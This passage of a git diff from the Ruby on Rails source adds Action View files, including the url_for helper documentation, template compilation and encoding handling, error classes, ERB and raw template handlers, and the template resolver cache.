+ # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
+ # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
+ # instead of the fully qualified URL like "http://example.com/controller/action".
+ #
+ # ==== Options
+ # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
+ # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
+ # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+ # is currently not recommended since it breaks caching.
+ # * <tt>:host</tt> - Overrides the default (current) host if provided.
+ # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
+ # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
+ # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
+ #
+ # ==== Relying on named routes
+ #
+ # Passing a record (like an Active Record) instead of a hash as the options parameter will
+ # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
+ # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
+ # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
+ #
+ # ==== Implicit Controller Namespacing
+ #
+ # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
+ #
+ # ==== Examples
+ # <%= url_for(action: 'index') %>
+ # # => /blog/
+ #
+ # <%= url_for(action: 'find', controller: 'books') %>
+ # # => /books/find
+ #
+ # <%= url_for(action: 'login', controller: 'members', only_path: false, protocol: 'https') %>
+ # # => https://www.example.com/members/login/
+ #
+ # <%= url_for(action: 'play', anchor: 'player') %>
+ # # => /messages/play/#player
+ #
+ # <%= url_for(action: 'jump', anchor: 'tax&ship') %>
+ # # => /testing/jump/#tax&ship
+ #
+ # <%= url_for(Workshop.new) %>
+ # # relies on Workshop answering a persisted? call (and in this case returning false)
+ # # => /workshops
+ #
+ # <%= url_for(@workshop) %>
+ # # calls @workshop.to_param which by default returns the id
+ # # => /workshops/5
+ #
+ # # to_param can be re-defined in a model to provide different URL names:
+ # # => /workshops/1-workshop-name
+ #
+ # <%= url_for("http://www.example.com") %>
+ # # => http://www.example.com
+ #
+ # <%= url_for(:back) %>
+ # # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
+ # # => http://www.example.com
+ #
+ # <%= url_for(:back) %>
+ # # if request.env["HTTP_REFERER"] is not set or is blank
+ # # => javascript:history.back()
+ #
+ # <%= url_for(action: 'index', controller: 'users') %>
+ # # Assuming an "admin" namespace
+ # # => /admin/users
+ #
+ # <%= url_for(action: 'index', controller: '/users') %>
+ # # Specify absolute path with beginning slash
+ # # => /users
+ def url_for(options = nil)
+ case options
+ when String
+ options
+ when nil
+ super(only_path: _generate_paths_by_default)
+ when Hash
+ options = options.symbolize_keys
+ unless options.key?(:only_path)
+ if options[:host].nil?
+ options[:only_path] = _generate_paths_by_default
+ else
+ options[:only_path] = false
+ end
+ end
+
+ super(options)
+ when :back
+ _back_url
+ when Array
+ if _generate_paths_by_default
+ polymorphic_path(options, options.extract_options!)
+ else
+ polymorphic_url(options, options.extract_options!)
+ end
+ else
+ method = _generate_paths_by_default ? :path : :url
+ builder = ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.send(method)
+
+ case options
+ when Symbol
+ builder.handle_string_call(self, options)
+ when Class
+ builder.handle_class_call(self, options)
+ else
+ builder.handle_model_call(self, options)
+ end
+ end
+ end
+
+ def url_options #:nodoc:
+ return super unless controller.respond_to?(:url_options)
+ controller.url_options
+ end
+
+ def _routes_context #:nodoc:
+ controller
+ end
+ protected :_routes_context
+
+ def optimize_routes_generation? #:nodoc:
+ controller.respond_to?(:optimize_routes_generation?, true) ?
+ controller.optimize_routes_generation? : super
+ end
+ protected :optimize_routes_generation?
+ end
+end
diff --git a/actionview/lib/action_view/tasks/dependencies.rake b/actionview/lib/action_view/tasks/dependencies.rake
new file mode 100644
index 0000000000..b39f7d583b
--- /dev/null
+++ b/actionview/lib/action_view/tasks/dependencies.rake
@@ -0,0 +1,21 @@
+namespace :cache_digests do
+ desc 'Lookup nested dependencies for TEMPLATE (like messages/show or comments/_comment.html)'
+ task :nested_dependencies => :environment do
+ abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present?
+ puts JSON.pretty_generate ActionView::Digestor.new(name: template_name, finder: finder).nested_dependencies
+ end
+
+ desc 'Lookup first-level dependencies for TEMPLATE (like messages/show or comments/_comment.html)'
+ task :dependencies => :environment do
+ abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present?
+ puts JSON.pretty_generate ActionView::Digestor.new(name: template_name, finder: finder).dependencies
+ end
+
+ def template_name
+ ENV['TEMPLATE'].split('.', 2).first
+ end
+
+ def finder
+ ApplicationController.new.lookup_context
+ end
+end
diff --git a/actionview/lib/action_view/template.rb b/actionview/lib/action_view/template.rb
new file mode 100644
index 0000000000..6b61378a1f
--- /dev/null
+++ b/actionview/lib/action_view/template.rb
@@ -0,0 +1,336 @@
+require 'active_support/core_ext/object/try'
+require 'active_support/core_ext/kernel/singleton_class'
+require 'thread'
+
+module ActionView
+ # = Action View Template
+ class Template
+ extend ActiveSupport::Autoload
+
+ # === Encodings in ActionView::Template
+ #
+ # ActionView::Template is one of a few sources of potential
+ # encoding issues in Rails. This is because the source for
+ # templates are usually read from disk, and Ruby (like most
+ # encoding-aware programming languages) assumes that the
+ # String retrieved through File IO is encoded in the
+ # <tt>default_external</tt> encoding. In Rails, the default
+ # <tt>default_external</tt> encoding is UTF-8.
+ #
+ # As a result, if a user saves their template as ISO-8859-1
+ # (for instance, using a non-Unicode-aware text editor),
+ # and uses characters outside of the ASCII range, their
+ # users will see diamonds with question marks in them in
+ # the browser.
+ #
+ # For the rest of this documentation, when we say "UTF-8",
+ # we mean "UTF-8 or whatever the default_internal encoding
+ # is set to". By default, it will be UTF-8.
+ #
+ # To mitigate this problem, we use a few strategies:
+ # 1. If the source is not valid UTF-8, we raise an exception
+ # when the template is compiled to alert the user
+ # to the problem.
+ # 2. The user can specify the encoding using Ruby-style
+ # encoding comments in any template engine. If such
+ # a comment is supplied, Rails will apply that encoding
+ # to the resulting compiled source returned by the
+ # template handler.
+ # 3. In all cases, we transcode the resulting String to
+ # the UTF-8.
+ #
+ # This means that other parts of Rails can always assume
+ # that templates are encoded in UTF-8, even if the original
+ # source of the template was not UTF-8.
+ #
+ # From a user's perspective, the easiest thing to do is
+ # to save your templates as UTF-8. If you do this, you
+ # do not need to do anything else for things to "just work".
+ #
+ # === Instructions for template handlers
+ #
+ # The easiest thing for you to do is to simply ignore
+ # encodings. Rails will hand you the template source
+ # as the default_internal (generally UTF-8), raising
+ # an exception for the user before sending the template
+ # to you if it could not determine the original encoding.
+ #
+ # For the greatest simplicity, you can support only
+ # UTF-8 as the <tt>default_internal</tt>. This means
+ # that from the perspective of your handler, the
+ # entire pipeline is just UTF-8.
+ #
+ # === Advanced: Handlers with alternate metadata sources
+ #
+ # If you want to provide an alternate mechanism for
+ # specifying encodings (like ERB does via <%# encoding: ... %>),
+ # you may indicate that you will handle encodings yourself
+ # by implementing <tt>self.handles_encoding?</tt>
+ # on your handler.
+ #
+ # If you do, Rails will not try to encode the String
+ # into the default_internal, passing you the unaltered
+ # bytes tagged with the assumed encoding (from
+ # default_external).
+ #
+ # In this case, make sure you return a String from
+ # your handler encoded in the default_internal. Since
+ # you are handling out-of-band metadata, you are
+ # also responsible for alerting the user to any
+ # problems with converting the user's data to
+ # the <tt>default_internal</tt>.
+ #
+ # To do so, simply raise +WrongEncodingError+ as follows:
+ #
+ # raise WrongEncodingError.new(
+ # problematic_string,
+ # expected_encoding
+ # )
+
+ eager_autoload do
+ autoload :Error
+ autoload :Handlers
+ autoload :HTML
+ autoload :Text
+ autoload :Types
+ end
+
+ extend Template::Handlers
+
+ attr_accessor :locals, :formats, :variants, :virtual_path
+
+ attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
+
+ # This finalizer is needed (and exactly with a proc inside another proc)
+ # otherwise templates leak in development.
+ Finalizer = proc do |method_name, mod|
+ proc do
+ mod.module_eval do
+ remove_possible_method method_name
+ end
+ end
+ end
+
+ def initialize(source, identifier, handler, details)
+ format = details[:format] || (handler.default_format if handler.respond_to?(:default_format))
+
+ @source = source
+ @identifier = identifier
+ @handler = handler
+ @compiled = false
+ @original_encoding = nil
+ @locals = details[:locals] || []
+ @virtual_path = details[:virtual_path]
+ @updated_at = details[:updated_at] || Time.now
+ @formats = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f }
+ @variants = [details[:variant]]
+ @compile_mutex = Mutex.new
+ end
+
+ # Returns if the underlying handler supports streaming. If so,
+ # a streaming buffer *may* be passed when it start rendering.
+ def supports_streaming?
+ handler.respond_to?(:supports_streaming?) && handler.supports_streaming?
+ end
+
+ # Render a template. If the template was not compiled yet, it is done
+ # exactly before rendering.
+ #
+ # This method is instrumented as "!render_template.action_view". Notice that
+ # we use a bang in this instrumentation because you don't want to
+ # consume this in production. This is only slow if it's being listened to.
+ def render(view, locals, buffer=nil, &block)
+ instrument("!render_template") do
+ compile!(view)
+ view.send(method_name, locals, buffer, &block)
+ end
+ rescue => e
+ handle_render_error(view, e)
+ end
+
+ def type
+ @type ||= Types[@formats.first] if @formats.first
+ end
+
+ # Receives a view object and return a template similar to self by using @virtual_path.
+ #
+ # This method is useful if you have a template object but it does not contain its source
+ # anymore since it was already compiled. In such cases, all you need to do is to call
+ # refresh passing in the view object.
+ #
+ # Notice this method raises an error if the template to be refreshed does not have a
+ # virtual path set (true just for inline templates).
+ def refresh(view)
+ raise "A template needs to have a virtual path in order to be refreshed" unless @virtual_path
+ lookup = view.lookup_context
+ pieces = @virtual_path.split("/")
+ name = pieces.pop
+ partial = !!name.sub!(/^_/, "")
+ lookup.disable_cache do
+ lookup.find_template(name, [ pieces.join('/') ], partial, @locals)
+ end
+ end
+
+ def inspect
+ @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", '') : identifier
+ end
+
+ # This method is responsible for properly setting the encoding of the
+ # source. Until this point, we assume that the source is BINARY data.
+ # If no additional information is supplied, we assume the encoding is
+ # the same as <tt>Encoding.default_external</tt>.
+ #
+ # The user can also specify the encoding via a comment on the first
+ # line of the template (# encoding: NAME-OF-ENCODING). This will work
+ # with any template engine, as we process out the encoding comment
+ # before passing the source on to the template engine, leaving a
+ # blank line in its stead.
+ def encode!
+ return unless source.encoding == Encoding::BINARY
+
+ # Look for # encoding: *. If we find one, we'll encode the
+ # String in that encoding, otherwise, we'll use the
+ # default external encoding.
+ if source.sub!(/\A#{ENCODING_FLAG}/, '')
+ encoding = magic_encoding = $1
+ else
+ encoding = Encoding.default_external
+ end
+
+ # Tag the source with the default external encoding
+ # or the encoding specified in the file
+ source.force_encoding(encoding)
+
+ # If the user didn't specify an encoding, and the handler
+ # handles encodings, we simply pass the String as is to
+ # the handler (with the default_external tag)
+ if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
+ source
+ # Otherwise, if the String is valid in the encoding,
+ # encode immediately to default_internal. This means
+ # that if a handler doesn't handle encodings, it will
+ # always get Strings in the default_internal
+ elsif source.valid_encoding?
+ source.encode!
+ # Otherwise, since the String is invalid in the encoding
+ # specified, raise an exception
+ else
+ raise WrongEncodingError.new(source, encoding)
+ end
+ end
+
+ protected
+
+ # Compile a template. This method ensures a template is compiled
+ # just once and removes the source after it is compiled.
+ def compile!(view) #:nodoc:
+ return if @compiled
+
+ # Templates can be used concurrently in threaded environments
+ # so compilation and any instance variable modification must
+ # be synchronized
+ @compile_mutex.synchronize do
+ # Any thread holding this lock will be compiling the template needed
+ # by the threads waiting. So re-check the @compiled flag to avoid
+ # re-compilation
+ return if @compiled
+
+ if view.is_a?(ActionView::CompiledTemplates)
+ mod = ActionView::CompiledTemplates
+ else
+ mod = view.singleton_class
+ end
+
+ instrument("!compile_template") do
+ compile(mod)
+ end
+
+ # Just discard the source if we have a virtual path. This
+ # means we can get the template back.
+ @source = nil if @virtual_path
+ @compiled = true
+ end
+ end
+
+ # Among other things, this method is responsible for properly setting
+ # the encoding of the compiled template.
+ #
+ # If the template engine handles encodings, we send the encoded
+ # String to the engine without further processing. This allows
+ # the template engine to support additional mechanisms for
+ # specifying the encoding. For instance, ERB supports <%# encoding: %>
+ #
+ # Otherwise, after we figure out the correct encoding, we then
+ # encode the source into <tt>Encoding.default_internal</tt>.
+ # In general, this means that templates will be UTF-8 inside of Rails,
+ # regardless of the original source encoding.
+ def compile(mod) #:nodoc:
+ encode!
+ method_name = self.method_name
+ code = @handler.call(self)
+
+ # Make sure that the resulting String to be eval'd is in the
+ # encoding of the code
+ source = <<-end_src
+ def #{method_name}(local_assigns, output_buffer)
+ _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
+ ensure
+ @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
+ end
+ end_src
+
+ # Make sure the source is in the encoding of the returned code
+ source.force_encoding(code.encoding)
+
+ # In case we get back a String from a handler that is not in
+ # BINARY or the default_internal, encode it to the default_internal
+ source.encode!
+
+ # Now, validate that the source we got back from the template
+ # handler is valid in the default_internal. This is for handlers
+ # that handle encoding but screw up
+ unless source.valid_encoding?
+ raise WrongEncodingError.new(@source, Encoding.default_internal)
+ end
+
+ mod.module_eval(source, identifier, 0)
+ ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
+ end
+
+ def handle_render_error(view, e) #:nodoc:
+ if e.is_a?(Template::Error)
+ e.sub_template_of(self)
+ raise e
+ else
+ template = self
+ unless template.source
+ template = refresh(view)
+ template.encode!
+ end
+ raise Template::Error.new(template, e)
+ end
+ end
+
+ def locals_code #:nodoc:
+ # Double assign to suppress the dreaded 'assigned but unused variable' warning
+ @locals.each_with_object('') { |key, code| code << "#{key} = #{key} = local_assigns[:#{key}];" }
+ end
+
+ def method_name #:nodoc:
+ @method_name ||= begin
+ m = "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}"
+ m.tr!('-', '_')
+ m
+ end
+ end
+
+ def identifier_method_name #:nodoc:
+ inspect.tr('^a-z_', '_')
+ end
+
+ def instrument(action, &block)
+ payload = { virtual_path: @virtual_path, identifier: @identifier }
+ ActiveSupport::Notifications.instrument("#{action}.action_view", payload, &block)
+ end
+ end
+end
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
new file mode 100644
index 0000000000..390bce98a2
--- /dev/null
+++ b/actionview/lib/action_view/template/error.rb
@@ -0,0 +1,141 @@
+require "active_support/core_ext/enumerable"
+
+module ActionView
+ # = Action View Errors
+ class ActionViewError < StandardError #:nodoc:
+ end
+
+ class EncodingError < StandardError #:nodoc:
+ end
+
+ class MissingRequestError < StandardError #:nodoc:
+ end
+
+ class WrongEncodingError < EncodingError #:nodoc:
+ def initialize(string, encoding)
+ @string, @encoding = string, encoding
+ end
+
+ def message
+ @string.force_encoding(Encoding::ASCII_8BIT)
+ "Your template was not saved as valid #{@encoding}. Please " \
+ "either specify #{@encoding} as the encoding for your template " \
+ "in your text editor, or mark the template with its " \
+ "encoding by inserting the following as the first line " \
+ "of the template:\n\n# encoding: <name of correct encoding>.\n\n" \
+ "The source of your template was:\n\n#{@string}"
+ end
+ end
+
+ class MissingTemplate < ActionViewError #:nodoc:
+ attr_reader :path
+
+ def initialize(paths, path, prefixes, partial, details, *)
+ @path = path
+ prefixes = Array(prefixes)
+ template_type = if partial
+ "partial"
+ elsif path =~ /layouts/i
+ 'layout'
+ else
+ 'template'
+ end
+
+ if partial && path.present?
+ path = path.sub(%r{([^/]+)$}, "_\\1")
+ end
+ searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
+
+ out = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
+ out += paths.compact.map { |p| " * #{p.to_s.inspect}\n" }.join
+ super out
+ end
+ end
+
+ class Template
+ # The Template::Error exception is raised when the compilation or rendering of the template
+ # fails. This exception then gathers a bunch of intimate details and uses it to report a
+ # precise exception message.
+ class Error < ActionViewError #:nodoc:
+ SOURCE_CODE_RADIUS = 3
+
+ attr_reader :original_exception
+
+ def initialize(template, original_exception)
+ super(original_exception.message)
+ @template, @original_exception = template, original_exception
+ @sub_templates = nil
+ set_backtrace(original_exception.backtrace)
+ end
+
+ def file_name
+ @template.identifier
+ end
+
+ def sub_template_message
+ if @sub_templates
+ "Trace of template inclusion: " +
+ @sub_templates.collect(&:inspect).join(", ")
+ else
+ ""
+ end
+ end
+
+ def source_extract(indentation = 0, output = :console)
+ return unless num = line_number
+ num = num.to_i
+
+ source_code = @template.source.split("\n")
+
+ start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
+ end_on_line = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
+
+ indent = end_on_line.to_s.size + indentation
+ return unless source_code = source_code[start_on_line..end_on_line]
+
+ formatted_code_for(source_code, start_on_line, indent, output)
+ end
+
+ def sub_template_of(template_path)
+ @sub_templates ||= []
+ @sub_templates << template_path
+ end
+
+ def line_number
+ @line_number ||=
+ if file_name
+ regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
+ $1 if message =~ regexp || backtrace.find { |line| line =~ regexp }
+ end
+ end
+
+ def annoted_source_code
+ source_extract(4)
+ end
+
+ private
+
+ def source_location
+ if line_number
+ "on line ##{line_number} of "
+ else
+ 'in '
+ end + file_name
+ end
+
+ def formatted_code_for(source_code, line_counter, indent, output)
+ start_value = (output == :html) ? {} : ""
+ source_code.inject(start_value) do |result, line|
+ line_counter += 1
+ if output == :html
+ result.update(line_counter.to_s => "%#{indent}s %s\n" % ["", line])
+ else
+ result << "%#{indent}s: %s\n" % [line_counter, line]
+ end
+ end
+ end
+ end
+ end
+
+ TemplateError = Template::Error
+end
diff --git a/actionview/lib/action_view/template/handlers.rb b/actionview/lib/action_view/template/handlers.rb
new file mode 100644
index 0000000000..9e61ea4225
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers.rb
@@ -0,0 +1,62 @@
+module ActionView #:nodoc:
+ # = Action View Template Handlers
+ class Template
+ module Handlers #:nodoc:
+ autoload :ERB, 'action_view/template/handlers/erb'
+ autoload :Builder, 'action_view/template/handlers/builder'
+ autoload :Raw, 'action_view/template/handlers/raw'
+
+ def self.extended(base)
+ base.register_default_template_handler :erb, ERB.new
+ base.register_template_handler :builder, Builder.new
+ base.register_template_handler :raw, Raw.new
+ base.register_template_handler :ruby, :source.to_proc
+ end
+
+ @@template_handlers = {}
+ @@default_template_handlers = nil
+
+ def self.extensions
+ @@template_extensions ||= @@template_handlers.keys
+ end
+
+ # Register an object that knows how to handle template files with the given
+ # extensions. This can be used to implement new template types.
+ # The handler must respond to +:call+, which will be passed the template
+ # and should return the rendered template as a String.
+ def register_template_handler(*extensions, handler)
+ raise(ArgumentError, "Extension is required") if extensions.empty?
+ extensions.each do |extension|
+ @@template_handlers[extension.to_sym] = handler
+ end
+ @@template_extensions = nil
+ end
+
+ # Opposite to register_template_handler.
+ def unregister_template_handler(*extensions)
+ extensions.each do |extension|
+ handler = @@template_handlers.delete extension.to_sym
+ @@default_template_handlers = nil if @@default_template_handlers == handler
+ end
+ @@template_extensions = nil
+ end
+
+ def template_handler_extensions
+ @@template_handlers.keys.map(&:to_s).sort
+ end
+
+ def registered_template_handler(extension)
+ extension && @@template_handlers[extension.to_sym]
+ end
+
+ def register_default_template_handler(extension, klass)
+ register_template_handler(extension, klass)
+ @@default_template_handlers = klass
+ end
+
+ def handler_for_extension(extension)
+ registered_template_handler(extension) || @@default_template_handlers
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/template/handlers/builder.rb b/actionview/lib/action_view/template/handlers/builder.rb
index d90b0c6378..d90b0c6378 100644
--- a/actionpack/lib/action_view/template/handlers/builder.rb
+++ b/actionview/lib/action_view/template/handlers/builder.rb
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
new file mode 100644
index 0000000000..85a100ed4c
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -0,0 +1,145 @@
+require 'erubis'
+
+module ActionView
+ class Template
+ module Handlers
+ class Erubis < ::Erubis::Eruby
+ def add_preamble(src)
+ @newline_pending = 0
+ src << "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
+ end
+
+ def add_text(src, text)
+ return if text.empty?
+
+ if text == "\n"
+ @newline_pending += 1
+ else
+ src << "@output_buffer.safe_append='"
+ src << "\n" * @newline_pending if @newline_pending > 0
+ src << escape_text(text)
+ src << "'.freeze;"
+
+ @newline_pending = 0
+ end
+ end
+
+ # Erubis toggles <%= and <%== behavior when escaping is enabled.
+ # We override to always treat <%== as escaped.
+ def add_expr(src, code, indicator)
+ case indicator
+ when '=='
+ add_expr_escaped(src, code)
+ else
+ super
+ end
+ end
+
+ BLOCK_EXPR = /\s*((\s+|\))do|\{)(\s*\|[^|]*\|)?\s*\Z/
+
+ def add_expr_literal(src, code)
+ flush_newline_if_pending(src)
+ if code =~ BLOCK_EXPR
+ src << '@output_buffer.append= ' << code
+ else
+ src << '@output_buffer.append=(' << code << ');'
+ end
+ end
+
+ def add_expr_escaped(src, code)
+ flush_newline_if_pending(src)
+ if code =~ BLOCK_EXPR
+ src << "@output_buffer.safe_expr_append= " << code
+ else
+ src << "@output_buffer.safe_expr_append=(" << code << ");"
+ end
+ end
+
+ def add_stmt(src, code)
+ flush_newline_if_pending(src)
+ super
+ end
+
+ def add_postamble(src)
+ flush_newline_if_pending(src)
+ src << '@output_buffer.to_s'
+ end
+
+ def flush_newline_if_pending(src)
+ if @newline_pending > 0
+ src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
+ @newline_pending = 0
+ end
+ end
+ end
+
+ class ERB
+ # Specify trim mode for the ERB compiler. Defaults to '-'.
+ # See ERB documentation for suitable values.
+ class_attribute :erb_trim_mode
+ self.erb_trim_mode = '-'
+
+ # Default implementation used.
+ class_attribute :erb_implementation
+ self.erb_implementation = Erubis
+
+ # Do not escape templates of these mime types.
+ class_attribute :escape_whitelist
+ self.escape_whitelist = ["text/plain"]
+
+ ENCODING_TAG = Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
+
+ def self.call(template)
+ new.call(template)
+ end
+
+ def supports_streaming?
+ true
+ end
+
+ def handles_encoding?
+ true
+ end
+
+ def call(template)
+ # First, convert to BINARY, so in case the encoding is
+ # wrong, we can still find an encoding tag
+ # (<%# encoding %>) inside the String using a regular
+ # expression
+ template_source = template.source.dup.force_encoding(Encoding::ASCII_8BIT)
+
+ erb = template_source.gsub(ENCODING_TAG, '')
+ encoding = $2
+
+ erb.force_encoding valid_encoding(template.source.dup, encoding)
+
+ # Always make sure we return a String in the default_internal
+ erb.encode!
+
+ self.class.erb_implementation.new(
+ erb,
+ :escape => (self.class.escape_whitelist.include? template.type),
+ :trim => (self.class.erb_trim_mode == "-")
+ ).src
+ end
+
+ private
+
+ def valid_encoding(string, encoding)
+ # If a magic encoding comment was found, tag the
+ # String with this encoding. This is for a case
+ # where the original String was assumed to be,
+ # for instance, UTF-8, but a magic comment
+ # proved otherwise
+ string.force_encoding(encoding) if encoding
+
+ # If the String is valid, return the encoding we found
+ return string.encoding if string.valid_encoding?
+
+ # Otherwise, raise an exception
+ raise WrongEncodingError.new(string, string.encoding)
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/template/handlers/raw.rb b/actionview/lib/action_view/template/handlers/raw.rb
new file mode 100644
index 0000000000..397c86014a
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/raw.rb
@@ -0,0 +1,11 @@
+module ActionView
+ module Template::Handlers
+ class Raw
+ def call(template)
+ escaped = template.source.gsub(/:/, '\:')
+
+ '%q:' + escaped + ':;'
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/template/html.rb b/actionview/lib/action_view/template/html.rb
new file mode 100644
index 0000000000..0321f819b5
--- /dev/null
+++ b/actionview/lib/action_view/template/html.rb
@@ -0,0 +1,34 @@
+module ActionView #:nodoc:
+ # = Action View HTML Template
+ class Template
+ class HTML #:nodoc:
+ attr_accessor :type
+
+ def initialize(string, type = nil)
+ @string = string.to_s
+ @type = Types[type] || type if type
+ @type ||= Types[:html]
+ end
+
+ def identifier
+ 'html template'
+ end
+
+ def inspect
+ 'html template'
+ end
+
+ def to_str
+ ERB::Util.h(@string)
+ end
+
+ def render(*args)
+ to_str
+ end
+
+ def formats
+ [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
new file mode 100644
index 0000000000..29d2e9ca90
--- /dev/null
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -0,0 +1,349 @@
+require "pathname"
+require "active_support/core_ext/class"
+require "active_support/core_ext/module/attribute_accessors"
+require 'active_support/core_ext/string/filters'
+require "action_view/template"
+require "thread"
+require "thread_safe"
+
+module ActionView
+ # = Action View Resolver
+ class Resolver
+ # Keeps all information about view path and builds virtual path.
+ class Path
+ attr_reader :name, :prefix, :partial, :virtual
+ alias_method :partial?, :partial
+
+ def self.build(name, prefix, partial)
+ virtual = ""
+ virtual << "#{prefix}/" unless prefix.empty?
+ virtual << (partial ? "_#{name}" : name)
+ new name, prefix, partial, virtual
+ end
+
+ def initialize(name, prefix, partial, virtual)
+ @name = name
+ @prefix = prefix
+ @partial = partial
+ @virtual = virtual
+ end
+
+ def to_str
+ @virtual
+ end
+ alias :to_s :to_str
+ end
+
+ # Threadsafe template cache
+ class Cache #:nodoc:
+ class SmallCache < ThreadSafe::Cache
+ def initialize(options = {})
+ super(options.merge(:initial_capacity => 2))
+ end
+ end
+
+ # preallocate all the default blocks for performance/memory consumption reasons
+ PARTIAL_BLOCK = lambda {|cache, partial| cache[partial] = SmallCache.new}
+ PREFIX_BLOCK = lambda {|cache, prefix| cache[prefix] = SmallCache.new(&PARTIAL_BLOCK)}
+ NAME_BLOCK = lambda {|cache, name| cache[name] = SmallCache.new(&PREFIX_BLOCK)}
+ KEY_BLOCK = lambda {|cache, key| cache[key] = SmallCache.new(&NAME_BLOCK)}
+
+ # usually a majority of template look ups return nothing, use this canonical preallocated array to save memory
+ NO_TEMPLATES = [].freeze
+
+ def initialize
+ @data = SmallCache.new(&KEY_BLOCK)
+ end
+
+ # Cache the templates returned by the block
+ def cache(key, name, prefix, partial, locals)
+ if Resolver.caching?
+ @data[key][name][prefix][partial][locals] ||= canonical_no_templates(yield)
+ else
+ fresh_templates = yield
+ cached_templates = @data[key][name][prefix][partial][locals]
+
+ if templates_have_changed?(cached_templates, fresh_templates)
+ @data[key][name][prefix][partial][locals] = canonical_no_templates(fresh_templates)
+ else
+ cached_templates || NO_TEMPLATES
+ end
+ end
+ end
+
+ def clear
+ @data.clear
+ end
+
+ private
+
+ def canonical_no_templates(templates)
+ templates.empty? ? NO_TEMPLATES : templates
+ end
+
+ def templates_have_changed?(cached_templates, fresh_templates)
+ # if either the old or new template list is empty, we don't need to (and can't)
+ # compare modification times, and instead just check whether the lists are different
+ if cached_templates.blank? || fresh_templates.blank?
+ return fresh_templates.blank? != cached_templates.blank?
+ end
+
+ cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
+
+ # if a template has changed, it will be now be newer than all the cached templates
+ fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
+ end
+ end
+
+ cattr_accessor :caching
+ self.caching = true
+
+ class << self
+ alias :caching? :caching
+ end
+
+ def initialize
+ @cache = Cache.new
+ end
+
+ def clear_cache
+ @cache.clear
+ end
+
+ # Normalizes the arguments and passes it on to find_templates.
+ def find_all(name, prefix=nil, partial=false, details={}, key=nil, locals=[])
+ cached(key, [name, prefix, partial], details, locals) do
+ find_templates(name, prefix, partial, details)
+ end
+ end
+
+ private
+
+ delegate :caching?, to: :class
+
+ # This is what child classes implement. No defaults are needed
+ # because Resolver guarantees that the arguments are present and
+ # normalized.
+ def find_templates(name, prefix, partial, details)
+ raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details) method"
+ end
+
+ # Helpers that builds a path. Useful for building virtual paths.
+ def build_path(name, prefix, partial)
+ Path.build(name, prefix, partial)
+ end
+
+ # Handles templates caching. If a key is given and caching is on
+ # always check the cache before hitting the resolver. Otherwise,
+ # it always hits the resolver but if the key is present, check if the
+ # resolver is fresher before returning it.
+ def cached(key, path_info, details, locals) #:nodoc:
+ name, prefix, partial = path_info
+ locals = locals.map(&:to_s).sort!
+
+ if key
+ @cache.cache(key, name, prefix, partial, locals) do
+ decorate(yield, path_info, details, locals)
+ end
+ else
+ decorate(yield, path_info, details, locals)
+ end
+ end
+
+ # Ensures all the resolver information is set in the template.
+ def decorate(templates, path_info, details, locals) #:nodoc:
+ cached = nil
+ templates.each do |t|
+ t.locals = locals
+ t.formats = details[:formats] || [:html] if t.formats.empty?
+ t.variants = details[:variants] || [] if t.variants.empty?
+ t.virtual_path ||= (cached ||= build_path(*path_info))
+ end
+ end
+ end
+
+ # An abstract class that implements a Resolver with path semantics.
+ class PathResolver < Resolver #:nodoc:
+ EXTENSIONS = { :locale => ".", :formats => ".", :variants => "+", :handlers => "." }
+ DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
+
+ def initialize(pattern=nil)
+ @pattern = pattern || DEFAULT_PATTERN
+ super()
+ end
+
+ private
+
+ def find_templates(name, prefix, partial, details)
+ path = Path.build(name, prefix, partial)
+ query(path, details, details[:formats])
